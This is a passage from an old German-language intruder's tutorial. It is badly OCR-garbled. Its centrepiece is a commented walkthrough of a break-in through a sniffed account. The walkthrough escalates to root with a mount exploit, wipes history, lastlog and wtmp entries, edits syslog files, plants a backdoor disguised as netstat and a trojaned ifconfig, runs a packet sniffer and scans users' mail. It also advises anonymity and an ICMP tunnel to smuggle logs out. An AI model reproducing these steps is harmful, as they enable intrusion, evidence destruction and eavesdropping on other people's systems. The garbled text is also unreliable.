hoechst wahr schei nli ch auch unter *BSD buggy sind (ok, mit 99, 9% ger
Ausnahme von OpenBSD). ..

und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben, dann
besorge dir das Patch und versuche anhand dessen dein Exploit zu coden (es
i st zwar bl oed, dass es schon bekannt ist, aber die neisten Adm ns haben
mehr Problene danit ihr Netz am Laufen zu halten als die Bugs in

i rgendwel chen Programmen zu pat chen)

Du sol I test niemanden di e Meglichkeit geben ein Profil von dir
anzufertigen, dazu ist folgendes zu beachten halte nur zu sehr gut

bef reundet en Hackern kont akt

wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mt PGP
encrypted sein, zu ei nem anonynen Account gehen (benutze kei nen gehackten

Account, besser ywwv. hotnail.com wwmw. yahoo.com ...) unter Verwendung eines
spezi el l en Handl es, den du fuer nichts anderes verwendest
du solltest den Handl e/ Account unregel naessi g aendern und natuerlich auch

ei n neues PGP seckey-pubkey Paar erstellen (auch di e Passphrase aendern!)
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Acht e darauf, dass dein pgp key nit mndestens 2048 bit Schl uessel | aenge

generiert wird, ausserdemsolltest du aus Sicherheitsgruenden nicht die 5.x

Ver si on benut zen, sondern bei der alten 2.6.x Version!

wenn du di ch unbedi ngt auf den ei nschl aegi gen | RC Channel s runtrei ben

willst, dann aendere i mer deinen Nick und wechsel auch dei nen Host (da

viele Rechner imlinternet keine irc-Cients installiert haben, solltest du

Rel ays benutzen (oder auch | P Source Routing und |IP Spoofing, probier’s

aus))

i ch weiss, dass das aendern des Nicks nicht so schoen ist, weil man dadurch

kei ne Reputation bei der breiten Masse bekomt; aber Reputation ist so

toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und sind

etwas geschwaet zi ger dir gegenueber - umsich zu profilieren - aber wenn du

erstmal so weit bist, dass du deine eigenen Exploits schreibst, dann bist

du auf den groessten Teil der Hacker sow eso nicht mehr angew esen, und die

restlichen triffst du nicht so einfach i mIRC)

Nuet zl i ch sind hier sogenannte ReRouter, die eine TCP Verbi ndung

weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man sich

vor Attacken von anderen Hacker schuetzten will, wenn man auf dem I RC

zuvi el Aerger verursacht hat ;-))

Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC

benut zen

Ein Blick ueber die Schulter

Ok, bei m Zugucken | ernt man am schnel | sten

Al'so hier folgt ein Beispielhack mt den entsprechenden Konmmentaren

Wr gehen nmal davon aus, dass wir den Account gesniffed (oder sonstw e

bekomen) haben und dass wir alle

Massnahmen dur chgefuehrt haben um unsere Praesenz auf dem Ausgangsrechner

zu verbergen. Desweiteren wrd

dir ganze Session natuerlich aufgezei chnet. source > finger

@i cti mdomain. com

[T Welcome to Linux version 2.0.33 at victimdonain.com! 6: 21pm up

6: 10h, O users, |oad average: 0.28, 0.11, 0.10 No one | ogged in. source

> So ka, es scheint keiner eingeloggt zu sein, aber wir werden es auf dem

Rechner noch genauer ueberpruefen. source > tel net

telnet > o victimdomain.com

Trying 10.255.0.1..

Connected to | ocal host.

Escape character is '"”~]'. Linux 2.0.33 (victimdomin.com (ttyp4)
victimlogin: johnny

Passwor d:

Have a lot of fun...

Last login: Wed Jun 17 19:16:07 on tty3.

No mail. Vielleicht hast du dich gefragt warumwr telnet interaktiv

benut zen, nungut, der Gund ist einfach: damt

verhindern wir, dass der Zielrechner in der Prozessliste auftaucht.

victim/home/johnny > rlogin victim

Passwor d:

Have a |l ot of fun...

Last login: Wed Jun 17 19:16:07 on ttyp4 from source. ass.com

No nai |

victim/hone/johnny > exit

rl ogin: connection closed.

victim/hone/johnny > csh -f

victim%Ils -altr

[...]

STW---- - 1 test users 450 Jul 6 11:38 .bash_history

victim % unset HI STILE

victim%rm .bash_history Ja, alles was wir hier gemacht haben ist unsere

Spuren etwas zu verschleiern und das ohne “root” -Rechte.

Durch rlogin (telnet geht natuerlich auch) koennen wr unseren Lastl og-

Entry ueberschrei ben und was absol ut

wi chtig ist, ist dass das Hi story-File gel oescht wird; und um kei n neues

File zu erzeugen rufen wir die csh auf, die
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per default kein History-File erstellt (wenn der User die csh benutzt
kannst du auch di e Bourne-Shell sh verwenden, aber vorsicht, denn unter
Li nux z.B. ist /bin/sh ein Link auf /bin/bash).
Das History-File nmusst du unbedi ngt am Anfang dei ner Sitzung | oeschen, denn
wenn der Adnin dich bemerkt und
ei nen Hard-Link auf das File macht, dann bl ei ben die Daten auf der HD
erhalten und der Adm n kann ueber den Hard-Li nk darauf zugreifen
Falls login SUD root installiert ist, hast du die Meglichkeit auch dein
“utnp[x] " -Entry zu ueberschrei ben, dazu rufst du einfach |l ogin auf und
| oggst dich ein. victim©%w

6: 54pm up 6:43h, 1 users, |oad average: 0.08, 0.09, 0.08

USER TTY LOGN@ IDLE JCPU PCPU WHAT

j ohnny ttyp4 6: 35pm 0:01 0: 00 0: 00 w Vvictim %
ps au

USER PID %CPU WEM VSZ RSS TT STAT START Tl ME COMVAND

r oot 144 0.0 0.1 800 24 1 S

12:12 0: 00 m ngetty

r oot 145 0.0 0.0 800 8 2 S

12:12 0: 00 m ngetty

r oot 146 0.0 0.1 800 28 3 S

12:12 0: 00 m ngetty

r oot 147 0.0 0.0 800 0 4 SwW

12:12 0: 00 m ngetty

r oot 148 0.0 0.0 800 0 5 SwW

12:12 0: 00 m ngetty

r oot 149 0.0 0.0 800 0 6 Sw

12:12 0: 00 m ngetty

johnny 1641 0.0 4.6 1748 1064 p4 S 18: 35

0: 00 - bash

j ohnny 1691 0.0 1.7 928 408 p4 R 18: 57
0: 00 ps au Hi er ueberpruefen wir nochnal genau ob nicht doch ein Admin

ei ngel oggt ist, der fingerd nodifiziert oder seine

Ei ntraege aus "wutnp[x]~ gel oescht hat. We es aussieht ist 'johnny' der
ei nzige User, der online ist. victim % domai nnane

korn. domai n. ni s

victim% ypwhich

chi

victim % ypcat ypservers

chi

fieldy So, als erstes holen wir uns Infos ueber deren NIS. Den N S-

Domai nnane und den NI S-Server koennen wir spaeter

benut zen um di verse NI S-Maps zu transferieren; z.B. die Passwd- Map nachdem
wir rausgefl ogen sind.

NS ist fast zu 100% in den Doneins installiert. Nur weni ge benutzen rdist,
NI S+ oder DCE. victintbunanme -a

Li nux wal lace 2.0.33 #4 Sun Jul 6 11:43:22 MEST 1998 686 unknown
victim % ypcat passwd

proj : FbxcM Nyl xf 7w. 501: 100: Proj ect Account:/ home/ proj :/ bi n/ bash

test: x:502: 100: Test Account:/hone/test:/bin/bash

[...] victim%cat /etc/passwd

root: x:0:0:root:/root:/bin/bash

[...] victim% ypcat group

root: x: 0: root

bi n: x: 1: r oot , bi n, daenon

daenon: x: 2:

tty: x:5:

[...] victim©%cat /etc/group

root: x: 0: root

bi n: x: 1: r oot , bi n, daenon

daenon: x: 2:

tty: x:5:
[...] victim% ypcat hosts
127.0.0.1 | ocal host
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.] victim%cat /etc/hosts
27 0.0.1 | ocal host
.] victim% cat /etc/syslog. conf
/et c/ syslog.conf - Configuration file for syslogd(8)

[
1
[
#
#
# For info about the format of this file, see "man syslog.conf"
#
#
#

# print nost on ttyl0
kern.warn; *. err;aut hpriv. none [ dev/ttyl0
.enmerg *

.] victim%cat /etc/inetd.conf

See "man 8 inetd" for nore information.

*

If you make changes to this file, either reboot your nmachine or send the
inetd a HUP signal :

Do a "ps x" as root and | ook up the pid of inetd. Then do a

"kill -HUP <pid of inetd>".

The inetd will re-read this file whenever it gets that signal.

<servi ce_name> <sock_type> <proto> <flags> <user> <server_pat h> <args>

echo stream tcp nowait root i nternal
echo dgram udp wai t r oot i nternal
di scard stream tcp nowait root i nt ernal
di scard dgram udp wai t r oot i nt ernal
dayti me stream tcp nowait root i nternal
daytime dgram udp wai t r oot i nternal
char gen stream tcp nowait root i nternal
char gen dgram udp wai t r oot i nt ernal
time stream tcp nowait root i nternal
time dgram udp wai t r oot i nt ernal

THHHIFHFFEHRBFEHHFEETEHFERERHEHFET

.] Jetzt haben wir alle Infornmationen die wir benoetigen umdie Log-
Verwal t ung zu anal ysi eren und um unseren
Zugriff zu festigen/w ederzuerlangen. victim%nkdir /tnp/".. "
victim%cd /tnp/" "
vi cti m % uudecode
begin 644 mexpl . gz
MB CRCRCRCRCRCRCRCRCRCRCRCRCRCRC
lv(R CRCRCRCRCRCRCRCRCR CR CR *(PD)"0D)"0D)
M2°@" " @",*(PD@"" @%. 25@R6YTI7) ABWLI =F4A@&] G, ' , @ " XR8B! C

M VYF: 6=U<Fod: 6] N(&9I1 ; &4)"2° @" @", * (PD@$- O<' ER 6=H="" H3RD@
MB' 5D; W @' 5L=6) E: 2" F($%\9' ) E: 2! 0: 711 <RP@6%Y( #$Y. 30) (" @"" @
M2 @" @",*(PD)"0D)"0D)"2°@" @",*(R C(R C(R C(R C(R C(R C
MR C(R C(R C(R C(R C(R C(R C(R (R C(R C(R C(R C(R C(R C(R C
MR C(R C(R C(R C(R C(PH*"B, * (R X=85R; 2! C; VYF: 6=U<Foa: 6] N( &9I

M 84@ %@B-VENO&] W' - YWLE; 2DN' B, @68@6] U &9R92! UVENIR! C; VQO

MKE] X=85R; 2! C; VYS: 61E<B! C: &ZNOVENOR! , : 6YU>$- O, G O, &4@6YD' B, @
MOV] L; W - : VY1 =&8] R(* 1O($] . +@IC" @+ (PHC(" M SEF(" =, : 6YU>$- O, &] R
-]

—

V|ct|m%ls -altr

dr wxr - xr - x 2 johnny users 1024 Jul 6 11:39 .
dr wxr wxr wt 7 root r oot 1024 Jul 6 11:39 ..
-rwr--r-- 1 johnny users 2345 Jul 5 11:41 nmexpl.gz

victim%gunzip *.gz

victim % chnod u+x nexpl

victim % nmexpl

bash# whoanmi

r oot

bash# unset H STFI LE

bash# rm ~/ . bash_history Als erstes haben wir ein Arbeitsdirec.

ei ngerichtet und anschli essend wrde das Binary eines nount-Exploits,
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wel ches zuvor uuencode'd wurde, uebertragen.

Das Transferieren des Inmages ist recht sinpel (Verwendung ei nes
Term nal prog.s, keine PPP/IP Verbindung)

needl e > uuencode nexpl.gz nmexpl.gz > /dev/ modem

Nur fuer den Fall, dass ich - aus wel chen Guenden auch inmer - den
Conpi | er einses Systens nicht benutzen kann

samrel ich von neinen Hackertools und Exploits die Binaries der
ver schi edenen Plattfornmen umsie wi e oben

gezei gt zu uebertragen.

Speziell fuer diese Aufgabe habe ich einen Menuepunkt (F2) in neinen
M dni ght Commander ei ngeri chtet. bash# uudecode

begin 644 tools.tar.gz

MB, C(RCRCRCRCRCRCRCRCR R R CR R CRC
MR C(R CR CRCRCRCRCRCR CR CR CR *(PD"0D) "0D
M2 @" @",*(PD@"" @%. 25@R6YTI7) ABWLI =F4@&] G, ' , @ " XR8B! C
M VYF: 6=U<F%: 6] N(&9I ; &4)"2°@"" @", * ( PD@ $- O<' ER: 6=H="" HBRD@
Mb' 5D, W @' 5L=6) E: 2" F($%N\9' ) E: 2! 0: 711 <RP@6%WY(#3$Y.30) (" @" @
M2 @" @",*(PD"0D"0D"2°@"" @",*(RCOR CRCR CR CRC
MR CR CRCRCRCRCRCRCRCR R CR CR CR CRC
MR CR CR CR CR C(PH "B, *( Rl X=&5R; 2! C, VYF: 6=U<F%": 6] N( &9l

M &4 @ %@exVENI&] W' - Y<WLE; 2DN' B, @68 @ 6] U( &¥92! U<VENIR! C; VQO
ME] X=&5R; 2! C, VYS: 61E<B! C. &MIOVENOR! , : 6YU>$- O, G O, &4@B6YD'B, @
MV]L; W-; VYT =&] R(" 1Q($] . +@1C" @+ (PHC( "~ M $SEF(" =, : 6YU>$- G, & R
MDV] N<V] L92<@6YD( " =#; VQO<DUG;, FET; W G( &94292! B; WLH( $] . +"! ; 54E4
M>' AX+4- O, & R7TOHC( &1E<V-R 7! T: 6] N<RI W 6QL( &) E(' 5S960N'B, @ " T@
M268@6] U( &9R92! W W K: 6 Y &] N( &S @&EN=7 @&WES=&5M &) U="1Y; M@
[...]

bash# tar xvzf tools.tar.gz

sear cher

sneagol v4.4.4.tar

clear13b.c

Su-trojan

linsniffer.c

srmc

i fconfig

fix

bash# gcc -0 cb clear13b.c

bash# ./cb johnny

wnmp ... utnp ... lastlog ... Done!
Last entry cleared from user johnny
bash# w
3:28pm up 4:33h, 0 users, |oad average: 0.42, 0.15, 0.04
USER TTY LOG N@ IDLE JCPU PCPU WHAT
bash# Boing!... Mt clearl3b haben wir unsere aktuellen Eintraege aus

“Wutnmp[x]” und “lastlog” entfernt. Du solltest darauf

auf passen, dass dein Logcl eaner keine Loecher in den Dateien, d.h. die

Ei ntraege einfach mt 'O ueberschreibt, hinterlaesst, denn die koennen

| ei cht von Programmren des CERT's entdeckt werden.

Auf Process-Accounting nmusst du auch acht geben, denn dadurch kann der
Admi n entdecken wel che Programme du ausgefuehrt hast. Auch wenn die

Pr ogramme ni cht ungewoehnlich aussehen sollten ist es inmer noch sehr
auffaellig, wenn ein User, der keine Eintraege in den regul aeren Logfiles
besitzt, ein Progranm aufgerufen hat.

Zum G ueck wird Process-Accounting nur selten benutzt, da das Logfile sehr
schnell waechst. Das Logfile heisst “acct” oder “pacct” und befindet sich
mt den anderen Logfiles imselben Direc.

Auf besonders schnel |l en/ grossen Rechnern (Cray) ist das Process-Accounting
fast inmmer aktiv, da hier die User fuer ihre Rechenzeit bezahl en nuessen.
bash# cd /var/l og

bash# |s -altr

total 838
drwxr-xr-x 20 root r oot 1024 May 28 19:58 .
STWr----- 1 root r oot 0 May 28 21:01 news
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STWT--7-- 1 root r oot 199 May 28 21:12 httpd.error_Ilog
SPWTr--T-- 1 root r oot 0 May 28 21:14 httpd.access_Il og
SPWTF--T-- 1 root r oot 3925 May 28 21:53 Config. bootup
dr wxr - xr - x 2 root r oot 1024 Jun 14 11:29

STWTr--T-- 1 root r oot 1871 Jul 7 09: 04 boot. nsg
STWr----- 1 root r oot 519707 Jul 7 09: 04 warn

SPWF----- 1 root r oot 15842 Jul 7 09: 04 mai

SPW---- - 1 root r oot 24 Jul 7 13:42 faillog
SPWr--F-- 1 root r oot 16096 Jul 7 13:42 |l astlog
STWr--r1-- 1 root r oot 92454 Jul 7 13: 42 nessages
STW-TWAT - - 1 root tty 207984 Jul 7 13:42 wtnp

bash# grep source. ass *
messages: Jul 7 13:42:39 wallace in.telnetd[401]: connect from
sour ce. ass. com
bash# fuser nessages
nessages: 85
bash# ps aux 85
USER PID %CPU WEM VSZ RSS TT STAT START Tl ME COMVAND
r oot 85 0.0 0.8 836 196 ? S
09: 04 0: 00 [ usr/ sbin/ sysl ogd
bash# grep in.rlogind *
messages: Jul 7 13:41:56 wallace in.rlogind[384]: connect from
j ohnny@i cti m domai n. com
bash# grep -v source.ass.com nessages > m
bash# grep -v "Jul 7 13:41:56" m > nessages
bash# cat /dev/zero > m
~C
bash# rm m
bash# |Is -altr

total 838

drwxr-xr-x 20 root r oot 1024 May 28 19:58 .

STW-r----- 1 root r oot 0 May 28 21:01 news

STW-r--r-- 1 root r oot 199 May 28 21:12 httpd.error_Ilog
SPWr--F-- 1 root r oot 0 May 28 21:14 httpd.access_Il og
STWTr--T-- 1 root r oot 3925 May 28 21:53 Config. bootup

dr wxr - Xr - x 2 root r oot 1024 Jun 14 11:29

SPWTr--T-- 1 root r oot 1871 Jul 7 09: 04 boot. nsg
SPWr----- 1 root r oot 519707 Jul 7 09: 04 warn

SPWr----- 1 root r oot 15842 Jul 7 09: 04 i

STW-- - - - 1 root r oot 24 Jul 7 13:42 faillog
STWT--7-- 1 root r oot 16096 Jul 7 13:42 lastlog

STW-TWAT - - 1 root tty 207984 Jul 7 13:42 wtnp

SPWr--F-- 1 root r oot 92502 Jul 7 13:49 nessages Hier haben

wir uns die Syslog-Files nochmal genauer angesehen und unsere Spuren
verw scht.

Mt fuser kannst du unter anderemdie PID des Processes feststellen

wel cher ein bestimte Datei benutzt.

In diesem Fall gehoert, wie zu erwarten, die PID 85 zu syslogd. Wr
benoetigen die PID um sysl ogd das HUP-Si gnal zu senden, wel ches sysl ogd
veranl asst die Logfiles neu zu oceffnen. Dies ist noetig, weil syslogd sonst
ei nen I node benutzt zu demes kein File nehr, in unserem Fall “~nessages’,
imVerz. “/var/log existiert.

Das Dumre an der Sache ist nur, dass syslogd eine Restart-Message in die
Logfil es schreibt.

Jetzt fragst du dich sicherlich: "Warum erzaehlt der Typ mir den ganzen
Gammel und macht es dann sel bst nicht?"

Die Antwort ist einfach: Wr erzeugen kei nen neuen |Inode indemwr die
Dat em kopi eren und nicht noven. Danit verneiden wir zusaetzlich die
Restart - Message.

Wenn sysl ogd wichtige Logs zur Console oder zu einem TTY schreibt (s.
“letc/syslog.conf”), dann kannst du mt:

bash# yes " " > /dev/consol e

~C
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den Bil dschirm | oeschen

Wenn Logs auf einem Printer ausgedruckt werden, dann sieht's relativ

schl echt aus. Entweder hoffst du, dass das Papi er/das Farbband | eer war
oder, dass der Admin es nicht sieht. ;)

Es ist mit einiger Wahrscheinlichkeit auch noeglich das Papi er um eini ge
Zeil e zurueckzuschi eben und deine Entries nehrmals nmit anderen Kram zu
ueberschrei ben. Ich hab's noch nie ausprobiert und ueberl asse es deiner
Phant asi e und dei nem Koennen das Probl em zu | oesen.

Mehr ' G ueck' hat nman da schon, wenn die Daten auf einen extra Loghost
gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbi ndung
benut zen); den du dann natuerlich hacken nusst; oder es besser sein | aesst,
wei |l du dadurch nur die Aufnmerksankeit der Admi ns auf dich ziehst.

Di e ganz paranoi den unter euch (was nicht unbedingt schlecht ist) sollten
noch identd ersetzen; der TCP-Wapper, Firewalls, etc benutzen identd um
den Usernamen auf dem Renpote Host zu eruieren. bash# cd /tnp/".. "

bash# tar xf snmeagol v4.4.4.tar

bash# cd V4.4.4

bash# make

cp sneagol . h. gen smeagol . h

make -f Makefile.gen

make[ 1]: Entering directory “/tnp/.. /V4.4.4

cc -c cnds.c

cc -DGENERIC -c renove.c

cc -c stdnet.c error.c

cc -c sneagol.c

cc -c tty-intruder.c

cc -c auth.c

cc -c ah.c

cc -c strhide.c

cc -2 -0 sneagol cnds.o renove.o stdnet.o error.o snmeagol.o tty-intruder.o
auth.o ah.o strhide.o

strip smneagol

make[ 1] : Leaving directory “/tnp/.. /VA4. 4.4

bash# nmv sneagol "netstat "

bash# ./netstat*

LOCK<- KEY:

bash# tel net

telnet> o | ocal host 1524

Trying 127.0.0.1...

Connected to | ocal host.

Escape character is '~]'. hixer WELCOMVE

CYBERSPAVWN
[/] Sinon says: hel pne
bye . close Session
renove <user> . starts Sinple Nomad's Logd eaner
maskas <user> : mask Process with EU D of <user>
cd <direc> : make a chdir() cal
ttyhij <tty> : hijack a TTY session
accth : Start Zhart's Acct Handler (not avail able)
hel pre . You guessed it...

Snmeagol was witten by
TI CK

[/] Sinmon says: bye
Bye

Connection closed by foreign host.
bash# Um uns den Renote-Zugang zum System zu erhal ten benutzen wir einen
Backdoor - Ser ver.
Falls ich einen Backdoor-Server verwende benutze ich neinen eigenen
Smeagol ist sehr gut darin seine Existenz
zu verschleiern aber |eider |laeuft er bisher nur auf Al X und Linux. Fuer
andere Systene koennen z.B. sinple Perl-Backdoors benutzt werden oder
portiere Sneagol einfach zu 'nem anderen Uni x-Derivat und sende mir dann
bitte dei ne Version
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Es ist sehr wchtig,
Logfiles, das Passwort und die richtigen Nanmen fuer di e Daenons,

dass du vor der

si ch Sneagol ausgeben soll

angi bst .

Aender ungen i m Sour ce- Code und i m Makefil e machen.

Zum Aendern der verschluesselten Strings solltest du convert benutzen
XOR- Val ue (F1) musst du den Default-XOR Wert angeben

Install ati on den genauen Pfad zu den
fuer die
Fal I s auf dem System das Process-
Accounting aktiviert worden ist nusst du auch dafuer die entsprechenden

der als Define in

"strhide.h' verwendet wird. Der Qutput nuss gefixt werden (F3).

I ch habe Sneagol
genug zu nachen,

nach "net st at
danit bei m Ueberschrei ben der

di e hinteren Buchstaben abgeschnitten werden,
Aufruf von netstat ungefaehrlicher aus als der Aufruf von sneago
bash# cd /var/cron/tabs

bei m Proc- Acct.
bash# |s -al

total 3
drwx------ 2
drwx------ 3
STW---- - 1

bash# cat root

# DO NOT EDIT TH' S FILE -

r oot
r oot
r oot

1024

1024 May 28 20:57 ..

Jul

ge' novet um argv[ 0] gross

Al s

Pr ocess- Tabl eei nt raege nicht

und deswei teren sieht der

25

11: 56

A
/

258 Jan 25 11:56 root

# (/tnp/crontab. 326 installed on Sat Ju

# (Cron version -- $ld:

#

# run Tripwire at 3.00 pm every day
00 15 * * * (/root/bin/runtw

bash# cd /root/bin
bash# file runtw
runtw. Bourne shel
bash# cat runtw

#!/ bi n/ sh

/bin/mount -r -t ext2 -v /dev/fdO /fdO/tripwire |

script text

[fdO/tripwire/bin/tripwire
/ bi n/ unount /dev/fdO exit O

bash# nmount -t ext2 /dev/fdO0 /mt

nmount : bl ock device /dev/fdO is wite-protected,

/dev/fd0 on /mt type ext2 (ro)
bash# cd /mash# cd / mt

bash# |s -al

drwx------ 5
drwxr-xr-x 4
drwx------ 2
drwx------ 2
dr wx- - --- - 2
bash# |Is -alR .
total 5

dr wx------ 5
dr wxr - Xr - x 4
drwx------ 2
drwx------ 2
dr wx------ 2
total 4
drwx------ 2
drwx------ 5
STW------ 1
STW- - - 1
Dat abases:
total 2
drwx------ 2
drwx------ 5
total 425

dr wx------ 2
drwx------ 5
- WX - XTI -X 1

root
r oot
r oot
r oot
root

r oot
r oot
root
root
r oot

r oot
root
root
r oot

root
root

r oot
r oot
root

root
r oot
r oot
r oot
root

r oot
r oot
root
root
r oot

r oot
root
root
r oot

root
root

r oot
r oot
root

1024
1024
1024
1024
1024

1024
1024
1024
1024
1024

1024
1024
387
387

1024
1024

1024
1024
128745

Jul
Jul
Jul
Jul
Jul

Jul
Jul
Jul
Jul
Jul

Jul
Jul
Jul
Jul

Jul
Jul

Jul
Jul
Jul

29
29
23
23
23

29
29
23
23
23

23
29
23
23

23
29

23
29
23

nount i

edit the master and reinstall.
25 11:56:24 1998)
crontab.c,v 2.13 1994/01/17 03:20: 37 vixie Exp 9)

exit 1

ng read-only

1997 .
1997 .

13: 40
13: 34
13: 57

Cbnfig
Dat abases
bi n

1997 .

1997
13: 40
13: 34
13:57

tbnfig
Dat abases
bin Config:

13:40 .

1997
13: 34
13: 40

iﬁLconfig

tw. confi g. bak

13: 34 .

1997 ..

bi n:

13: 57 .

1997
13: 45

tripwire
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STWT--7-- 1 root r oot 299814 Jul 29 1997 tripwire-1.2.tar.gz
bash# cd Config

bash# cat tw. config

# Check root's binaries

/root/bin # Check Tri pWre's Database-, Config- and TAR-File

[fdO/tripwire # Check SystemFiles and -Binaries

/ et c/ passwd

/ et c/ skel

letc/aliases

/etclexports

/etc/fstab

/etc/ftpusers

[ etc/ group

/ etc/ hosts

/etc/inetd. conf

letc/inittab

letc/lilo.conf

letc/profile

/ etc/ sendmai | . cf

/ et c/ sudoers

/ et c/ sysl og. conf

/ bin

/usr/bin

/usr/local/bin

bash# Bevor wir irgendwel che Files ersetzen oder aendern sollten wr

ueber pruefen ob die Admi ns einen Integry-Checker zum Schutz vor Trojan-
Horses etc. einsetzen. Auf di esem Rechner ist das der Fall. Grundsaetzlich
kann ich nur sagen, dass du niemals so sicherheitsrelevante Files, wie z.B.
"/etc/passwd' oder '/etc/inetd.conf', veraendern solltest; egal w e clever
du vorgehst, die Adm ns werden es i mer entdecken und nei stens eher frueher
al s spaeter. Dasselbe gilt fuer SU D Shells. Ich kann auch nur davon
abraten die Tripw re-DB zu mani pulieren, was in diesem Fall auch garnicht
noeglich ist, da sich die DB auf 'ner wite-protected Floppy befindet.

Nat uerlich koenntest du fuer Linux die weit verbreiteten Loadabl e-Kernel -
Modul es (LKMs) verwenden um die Syscalls zu verbi egen, danmit du dein

Troj an-Horse in den Kernel verlegst, oder spez. fuer Tripwire, die Zugriffe
auf die geschuetzten Files manipulierst. Ich halte solche Eingriffe in das
System fuer zu Aufwendig und folglich Auffaellig. Was mir hingegen gefaellt
sind gute LKMs, die die Praesenz von bestimmten Dingen, wie Files, User,
LKMs etc, verbergen. Mt soeinem'H de-LKM ist es dann auch noeglich SU D
Shel |l im System zu verschtecken. bash# cd /tnp/".. "

bash# cat > w . mai

hacker

cracker

i ntrusion

security

break-in

hack

password

| ogin

account

tripwire

integry

sniffer

cpm

ifconfig

mlitary

.

. gov

nC

bash# cat > wl .| og

sour ce. ass

j ohnny
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nC

bash# ./searcher -vvv -rnf -mw .mail -1 Wl.log > s.res &

[1] 454

bash# Searcher sucht nun nach den angegeben Wortern in den E-Mils der
User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich
verschafft es uns weitere Informationen, die uns den Zugang zu anderen
Systenmen ernoegl i chen koennen

Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz

besti mmte Sachen suchst, z.B. ueber irgendwel che Forschungs-Projekte, die
sich natuerlich mt Internet-Security & Co. beschaeftigen, oder wenn du
Dat en ueber dei ne Noten i m Verwal tungs-Server deiner Uni suchst ;). Undie
Suche etwas zu beschl euni gen kannst du di ch nur auf ausgewaehlte G uppen
von Usern beschraenken

Am besten ist es wenn du Searcher schon frueh startest, da er viel Zeit
benoeti gt.

Das Resultat von Searcher's Arbeit kannst du am besten nit 'gzip --best
konprimeren, mt 'uuencode' ausgeben |assen und nach dem Hack aus dei nen
Logs extrahi eren umes zu anal ysieren. Jetzt ist der richtige Zeitpunkt
gekonmen um sich umdi e Admins zu kuemern

Du solltest dir von jedem Adm n das Home-Di rec. angucken, dein Augennerk
sollte dabei auf das Bin-Direc. und demH story-File fallen. Du wirst nmt
Sicherheit weitere Securitytools, wie z.B. cpm (Proni scuous-Mde Checker),
finden, und das History-File gibt dir Auskunft ueber das Verhalten der
Adnmins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort
kennen, wel che Befehle sie ausfuehren und demmach wel che Auf gaben sie
haben.

Wenn Admi ns haeufig su ausfuehren und dabei nicht den vollen Path angeben
sind sie ein perfektes Ziel fuer spaetere PATH Trojan-Horse Attacken. bash#
which ifconfig

/sbin/ifconfig

bash# cd /tnp/".. "

bash# fix /sbhin/ifconfig ./ifconfig ./ic.bak

fixer: Last 17 bytes not zero

fixer: Can't fix checksum

bash# showrount -e | ocal host

/[ cdrom pc-01. pool . domai n. com

bash# nmv linsniffer nfsiod

bash# export PATH=.: $PATH

bash# nfsiod Als letztes installieren wir noch unseren Ethernet-Sniffer
Wr ersetzen ifconfig nmt einer nodifizierten Version, die nicht anzeigt ob
eine Netzwerkarte in den Prom scuous-Mdde geschalltet ist. Falls ein Admn
cpm o. ae. benutzt, solltest du es ebenfalls ersetzen - aber denke imrer an
I ntegry-Checker, in diesemFall ist '/sbin' nicht Teil der Tripwre-DB. Auf
hochsi cheren Rechnern wuerde ich nienals Prog.s ersetzen, da die

Wahr schei nli chkeit hoch ist, dass sich doch irgendwo ein | ntegry-Checker
verbirgt, den nan uebersehen hat (imFall des Sniffers waere es denkbar ein
LKMin den Kernel zu | aden umden ioctl() Systentall zu verbiegen und das
PROM SC Fl ag ni cht mehr anzuzei gen).

Frueher wurde haeufig das Prog. sum fuer die Checksum Erstellung benutzt,

| eider (?) erstellt sum kryptographi sch unsichere Hashwerte. Das Too
fix/fixer nutzt diesen 'Fehler' aus, ich habe es hier nur verwendet, weil
es die Zeiten anpasst und ein Backup erstellt. Da sumso gut wi e garnicht
mehr benutzt wird ist es auch nicht wichtig, dass die Checksum nicht gefi xt
wurde, falls du es aber doch besser findest, dann haenge einfach ein paar
Nul I en an dein Trojan-Horse undzwar wi e fol gt

bash# cat /dev/zero >> ./ifconfig

~C

Anschliesend starten wir den Sniffer nachdemwi r ihm einen unauffaelligen
Nanmen ver passt haben. Wenn der Admin irgendein Verzeichnis exportiert, das
j eder mann nounten kann, dann solltest du dein Snifflog-File dorthin

schrei ben | assen. Aber ich bevorzuge die Collector-Library oder noch
besser, insbesondere bei Firewalls, die |CMP-Tunnel-Library .
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Kl ei ne Anekdote: Ich hab' mal 'ne Zeit lang neine Snifferlogs via | CMP-
Tunnel von 'nem Bastion-Host zu 'nem ausl aendi schen Rechner 'geschnuggelt’;
es funktioni erte wunderbar und wurde nicht endeckt. bash# cd /tnp/".. "
[1]1+ Done sear cher

bash# gzip --best s.res

bash# uuencode s.res.gz s.res.gz

[...]

bash# gcc -o rmsrmc

bash# rm-vss ./*

ml etl ng | fCOﬂfI g EE R I b I b b R I b I b b I S I I I S I:X)ne

[...]

bash# cd ..
bash# rm -r
bash# |s -altr ~root

[...]

STW- - - - 1 root r oot 90803 Jan 23 11:26 .fvwnRrc

dr wxr - Xr - x 3 root r oot 2048 Jan 23 13:57 bin
drwxr-xr-x 22 root r oot 1024 Jan 25 11:55 .

drwx--x--x 35 root r oot 4096 Jan 26 09:11 .

STW-- - - - 1 root r oot 150 Jan 26 09:11 . Xauthority
STW- - - - 1 root r oot 280 Jan 26 09:12 .xsession-errors
drwx------ 5 root r oot 1024 Jan 26 09:17 .netscape
SPW-- - - 1 root r oot 441 Jun 5 13:14 .bash_history
STW-- - - - 1 root r oot 85 Jan 5 13:50 . xl ocknessage
bash# exit

victino cd

vi cti mo pwd

/ hone/ j ohnny
victinols -altr

[...]

STW-r--r-- 1 test users 3324 Dec 11 1997 .enmcs
drwx------ 2 test users 1024 May 28 20:57 .grok
dr wxr - Xr - x 2 test users 1024 May 28 20:57 .hotjava
drwx------ 2 test users 1024 May 28 20:57 .seyon
dr wxr - xr - x 2 test users 1024 May 28 20:57 .xfm
dr wxr - Xr - x 5 root r oot 1024 Jun 6 19:15 ..

dr wxr - Xr - x 6 test users 1024 Jun 6 19:15 .
victimoexit

exit

victi m/hone/johhny > exit

| ogout

Connection closed by forign host.
source > Zum Schl uss w pen wir unsere Tools von der HD, damit sie nicht
